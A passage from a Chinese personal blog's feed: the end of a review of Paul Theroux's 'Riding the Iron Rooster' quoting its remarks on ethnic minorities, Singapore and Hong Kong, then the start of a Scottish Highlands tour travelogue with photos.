500&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;英里（800&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那几乎是中国境内最远的地方，它的居民仍然可以被视为中国人，但要是再远一点就不行了。这让我突发奇想。&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你不算中国人，对吧&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;当然算！我是中国人&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;开宾馆的藏族兄弟看到汉族司机就说满房，看到作者就说有房，还把啃了一半的牦牛肉分给作者。&lt;&#x2F;p&gt;
&lt;p&gt;不过不管少数民族的认同感如何，保罗对他们报以看其余中国人同样的挑剔目光：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;藏族人认为他们是性欲无法满足的女人和一只顺从猴子的后代。这只是个故事，但看看藏族人，就能理解这个神话可能的起源了&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;这段被删减了，我是在前面提到的书评里看到的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;1986&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的民族矛盾让我想起《红星照耀中国》里各族对长征时期共产党人的反应。&lt;&#x2F;p&gt;
&lt;p&gt;红军在遇到仇视汉族的彝族人时，用汉族也分压迫彝族的“白”汉与和彝族有共同敌人的“红”汉论打开了政治通道：彝族人不仅让了路，还有几百人加入了红军。&lt;&#x2F;p&gt;
&lt;p&gt;可是之后红军在川藏边界的大草地遇到了完全不给讲道理机会的“蛮族&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在这里既没有机会解释“共产党对待少数民族的政策&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，也没有机会结成友好联盟。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;蛮族”的女土司对于各类汉族人，不论“红”汉“白”汉，都有难以消除的宿怨。她威胁道，如果有人胆敢帮助过路者，她就要用开水把他活活烫死。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;不过书中“蛮族”和藏民并列，所以他们不是藏族人。至于具体是什么族，我不清楚。被抓住当向导的蛮族和红军成了朋友，所以也许民众间矛盾并不大，有矛盾的只是作为领导的女土司。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;新加坡和香港&quot;&gt;新加坡和香港&lt;&#x2F;h2&gt;
&lt;p&gt;1986&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，新加坡独立&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年了，香港已经确定将要在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年后回归。在讲述中国游记的书里面讲到当时的东南亚华人还是挺有趣的。&lt;&#x2F;p&gt;
&lt;p&gt;在之前提到的晚宴上，萧乾老先生对新加坡的评价很低：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;新加坡是个经济奇迹&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;”他笑着说，然后补充道，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;也是片文化沙漠。他们除了钱，什么也没有。他们的寺庙在我们看来跟玩具一样。这个国家无足轻重，甚至好像都不是真实存在的。他们的总理李光耀虽然是东方人，却总是以西方人自诩…&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;现在新加坡人很希望和我们做生意&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;”萧先生说道，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;但他们的政府太严厉了，总是监视和监听，搞得人民很害怕。即使在‘文革’期间，我们都……没有窃听器。但是在新加坡，任何人开口前都会在桌子下面摸一摸，看看有没有窃听器在监听&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;广州的美国人巴顿对新加坡评价也很低：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我收到了一份新加坡的工作邀请&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;”他说，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;也是和石油相关的。或许我该接受它，可是那地方制度太严了。我受不了李光耀，他们可以追随他，但无论如何我都要跟着邓小平走&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;知道我们叫李光耀什么吗？有点良心的希特勒。啊哈哈&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;新加坡人和李光耀一样以西方人自诩，对中国人评价很低：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;他拍了拍自己的脑袋，说道：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;他们太落后了。他们就是农民，跟我们不一样&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;br &#x2F;&gt;
&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我们是谁&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”我问。&lt;br &#x2F;&gt;
小丁笑了笑。他说的是我和他吗？他并没有回答。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我对新加坡什么看法？我还挺喜欢那里的，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Li
Haoyi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;com-lihaoyi&#x2F;mill&quot;&gt;mill&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;com-lihaoyi&#x2F;os-lib&quot;&gt;os-lib&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;挺不错。&lt;&#x2F;p&gt;
&lt;p&gt;香港人也没逃掉作者挑剔的评价：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;他们的英语很糟糕——真看不出来是受英国殖民统治的居民，而且他们也不会说普通话。和我见过的大部分香港人一样，他们身上土气十足，而且虚荣做作得可笑。他们营养不错，但脑子却相当不清楚，对政治的看法也很天真。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;香港人不是体重超标，就是赶时髦似的瘦得皮包骨……他们会因为一些鸡毛蒜皮的小事而相互指责，一点修养都没有。他们的很多特质都是受英国殖民统治的后果。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;结尾&quot;&gt;结尾&lt;&#x2F;h2&gt;
&lt;p&gt;其实我想说的还有很多，比如柏林华沙乌兰巴托和大同的食品店对比、一路上拉住作者换钱的各国人民、买卖文物的村民等等。但因为游记本身就是散的，阅读时想说的话也太散了，难以写成连续的文本。按目前的速度，边找原文边把零散的想法串成有逻辑有主题的文字实在太慢了，所以我放弃了整理的念头，决定让那些标注停留在脑子里。&lt;&#x2F;p&gt;
&lt;p&gt;这是一本很有趣的书，10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分我给打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;riding-the-iron-rooster
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;riding-the-iron-rooster&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>高地三日游</title>
    <published>2022-09-23T17:56:35+01:00</published>
    <updated>2023-05-21T23:32:27+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/highland-three-day-trip/" type="text/html" />
    <id>https://emptystack.top/highland-three-day-trip/</id>
    <content type="html">
      &lt;p&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号我报了个高地三日游的团。三天时间不算短，不过大部分时间都是坐车。总体来说玩得还算可以。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Luss_&amp;_Loch_Lomond&quot;&gt;Luss &amp; Loch Lomond&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#The_Green_Welly_Stop&quot;&gt;The Green Welly Stop&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#不知道啥景点&quot;&gt;不知道啥景点&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#格伦科峡谷&quot;&gt;格伦科峡谷&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#格伦菲南高架桥&quot;&gt;格伦菲南高架桥&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#威廉堡&quot;&gt;威廉堡&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#尼斯湖&quot;&gt;尼斯湖&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#高地牛&quot;&gt;高地牛&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#爱莲・朵娜城堡&quot;&gt;爱莲・朵娜城堡&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#斯凯岛&quot;&gt;斯凯岛&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#波特里&quot;&gt;波特里&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Old_Man_of_Storr&quot;&gt;Old Man of Storr&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#An_Leth-Allt&quot;&gt;An Leth-Allt&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Creag_an_Fhèilidh&quot;&gt;Creag an Fhèilidh&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Dalwhinnie_Distillery&quot;&gt;Dalwhinnie Distillery&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Pitlochry&quot;&gt;Pitlochry&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#珀斯&quot;&gt;珀斯&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#圣安德鲁斯&quot;&gt;圣安德鲁斯&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#圣安德鲁斯大教堂&quot;&gt;圣安德鲁斯大教堂&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Wardlaw_Museum&quot;&gt;Wardlaw Museum&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#The_Three_Bridges&quot;&gt;The Three Bridges&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Luss_&amp;amp;_Loch_Lomond&quot;&gt;Luss &amp;amp; Loch Lomond&lt;&#x2F;h2&gt;
&lt;p&gt;第一站是位于罗梦湖西岸的小镇&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Luss。罗梦湖形状狭长：长&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;英里，最宽处有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;英里。令人吃惊的是湖里大部分岛屿和西侧湖水从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪起就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Colquhoun&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;家族的私有领地。风景美么？我的评价是还可以，虽然很大，但毕竟只是个内陆湖。湖里有各种船只，如果没有接下来的行程我很想划一划。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_115218.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115218.492de0a8dfc6613a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115218.18f27e51b31396f5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115218.78f1bc41ec25e6a5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115218.18f27e51b31396f5.webp&quot;
	alt=&quot;Loch Lomond&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;沿着湖边向南走会看到一座教堂。教堂墓地里有维京人留下的雕塑——Hogback。据推断这个雕塑可能是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1263&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年维京入侵留下的。维京人入侵大不列颠岛远晚于罗马人，但似乎没剩下什么遗迹&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;维京人倒是给英语留下了一些遗产，比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ford、firth、fjord&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来自古诺斯语的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fjördhr。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;这块石头是我在英国见到的第一件维京遗迹。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_115749.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115749.d2ba5e984918c422.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115749.88b2507e5ff7129e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115749.e2dd69183d0d4763.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_115749.88b2507e5ff7129e.webp&quot;
	alt=&quot;Viking Hogback Stone&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这个小镇很会赚钱，厕所需要刷卡才能使用。这是整趟旅途中唯一一个收费厕所。你说都收费了，是不是应该上心维护？没有，这间厕所也是整趟旅行异味最重的厕所。&lt;&#x2F;p&gt;
&lt;p&gt;这小镇还会造景点，比如“The Queen’s
Tree&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。这棵树听起来像是女王亲自种的，至少是女王来访时种的——其实是居民自己在女王成为英国在位最长的君主那天种的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;那一天女王在干嘛呢？在&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;melrose-abbey&#x2F;#%E8%B7%AF%E4%B8%8A&quot;&gt;给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Borders
Railway&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;剪彩&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;The_Green_Welly_Stop&quot;&gt;The Green Welly Stop&lt;&#x2F;h2&gt;
&lt;p&gt;沿着罗梦湖一路向北，于中午抵达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The Green
Welly
Stop。出发前我对高地饮食有极大的期待，吃完这一顿以后我就懂得降低预期了。导游（也就是司机师傅）向我们推荐了他们家的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Roast
Beef
Roll&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cullen
Skink。我当时真信了，我不仅点了这两道菜，还反常地给它们拍了照。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_133503.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_133503.fd22ac8d840e5ce8.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_133503.fdf758beab49bfd1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_133503.52261e173b69a13d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_133503.fdf758beab49bfd1.webp&quot;
	alt=&quot;Roast Beef Roll和Cullen Skink&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这牛肉看起来带着挺多酱，但丝毫没有味，还不如我家楼下臭脸回回三天卖不出的酱牛肉。Cullen
Skink&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;稀到可以充当生理盐水——虽然稀，倒是充满鱼腥味。导游说他们家这款汤是用马鲛鱼做的，还得过奖。我上网一查，正经做法是用黑线鳕做。不清楚这是不是它如此之腥的原因。虽然我不喜欢这汤，但我还是把它喝得一干二净，因为牛肉没有味。这一顿我最喜欢的，是薯片。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_141122.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_141122.f36a6b3da9f90763.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_141122.5cd0de1013f38ac0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_141122.857709ea26dd27e4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_141122.5cd0de1013f38ac0.webp&quot;
	alt=&quot;绿色靴子与数字五&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;上图的限速标识就是我给这顿的打分：十分我给五分。这家店外面好多骑摩托的猛男，我难以理解他们吃了这么难吃的食物为什么不闹事。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;不知道啥景点&quot;&gt;不知道啥景点&lt;&#x2F;h2&gt;
&lt;p&gt;注：&lt;time&gt;2023-05-21&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Law&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上碰到一对苏格兰夫妇，他们提到高地上的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kingshouse
Hotel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以看到鹿。然后我想起来这个“不知道啥景点”就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kingshouse
Hotel，但我一只鹿也没看见。&lt;&#x2F;p&gt;
&lt;p&gt;高地的景点似乎过于分散，上午参观完罗梦湖后要开车到下午才能到格伦科峡谷。对于三天的旅游团来说，花费一整天赶路无疑是失败的规划。所以在到达格伦科之前，导游把我们放在了两个不知名景点拍照。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_144658.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_144658.001d0b165e3a19a4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_144658.b9f80c8129eb29b1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_144658.559f53a9d051ff3e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_144658.b9f80c8129eb29b1.webp&quot;
	alt=&quot;阳光射穿云层&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这次旅行有个跟团者特地买了条苏格兰短裙穿。不得不说，Royal
Stewart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和他的红色短袖很配。&lt;!-- 下面的图片经过他的许可，可以公开。 --&gt;&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_151233.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
